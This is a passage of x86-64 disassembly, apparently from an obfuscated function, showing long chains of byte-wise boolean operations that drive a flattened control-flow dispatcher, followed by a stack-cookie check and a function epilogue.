and cl, bl
xor bl, al
or bl, cl
mov cl, byte [rsp + 0x48]
mov eax, ecx
and al, r11b
xor r11b, cl
mov r9d, ecx
or r11b, al
mov ecx, r11d
xor cl, 1
mov eax, ecx
or al, r11b
and bpl, dil
and sil, r12b
mov r10b, byte [rsp + 0x3c]
and dil, r10b
or dil, sil
mov edx, ebp
and dl, dil
xor dil, bpl
mov r8d, eax
xor r8b, 1
or dil, dl
and r8b, r11b
mov edx, eax
and dl, cl
or dl, r8b
mov r8d, eax
and r8b, r9b
xor al, r9b
or al, r8b
mov r8d, eax
xor r8b, dl
xor dl, 1
xor r8b, 1
or dl, al
xor dl, 1
or dl, r8b
mov eax, edi
xor al, 1
and al, dil
xor al, 1
mov r9d, edi
xor r9b, al
or al, dil
mov r8d, edx
xor r8b, 1
and r8b, dl
xor al, 1
or al, r9b
xor r8b, 1
mov r9d, edx
xor r9b, r8b
or r8b, dl
xor r8b, 1
or r8b, r9b
xor r8b, al
mov eax, r12d
and al, r14b
xor r14b, r12b
and cl, r11b
or r14b, al
xor cl, 1
mov eax, r11d
xor al, cl
or cl, r11b
xor cl, 1
or cl, al
mov eax, r14d
xor al, 1
and al, cl
xor cl, 1
and cl, r14b
mov r9d, r8d
xor r9b, 1
or cl, al
mov edx, r10d
mov eax, r10d
xor al, r11b
or r11b, r10b
xor r11b, 1
or r11b, al
mov eax, r11d
xor al, cl
xor cl, 1
xor al, 1
or cl, r11b
xor cl, 1
or cl, al
mov r10d, ecx
xor r10b, 1
mov r11d, r8d
and r11b, r9b
mov edx, r11d
xor r11b, r8b
mov eax, r10d
and al, cl
xor dl, 1
or dl, r9b
xor dl, 1
or dl, r11b
mov r8d, eax
and r8b, r10b
xor al, r10b
or al, r8b
xor al, dl
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov ecx, ebx
xor cl, al
xor al, 1
xor cl, 1
mov edx, ebx
or dl, al
xor dl, 1
or dl, cl
mov r8d, edx
xor r8b, 1
xor al, bl
mov r10d, eax
xor r10b, 1
mov ebx, r8d
and bl, dl
mov r9d, ebx
and r9b, r8b
xor bl, r8b
or bl, r9b
mov ecx, ebx
xor cl, 1
and cl, al
and bl, r10b
or bl, cl
xor r10b, dl
or al, r8b
xor al, 1
or al, r10b
mov edx, eax
xor dl, bl
test al, 1
mov ecx, 0xfa5076ee
mov eax, 0xf066d3cb
cmovne ecx, eax
test bl, 1
cmove ecx, eax
test dl, 1
mov eax, 0xfa5076ee
cmove ecx, eax
cmp ecx, 0xdb67d41
jg 0x1400015a0
jmp 0x1400014ec
mov ecx, 0x7e06b36f
movzx eax, word [rsp + 0x188]
jmp 0x1400014da
mov rax, qword [rsp + 0x118]
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.140069c50
mov eax, dword [rsp + 0x5c]
add rsp, 0x198
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret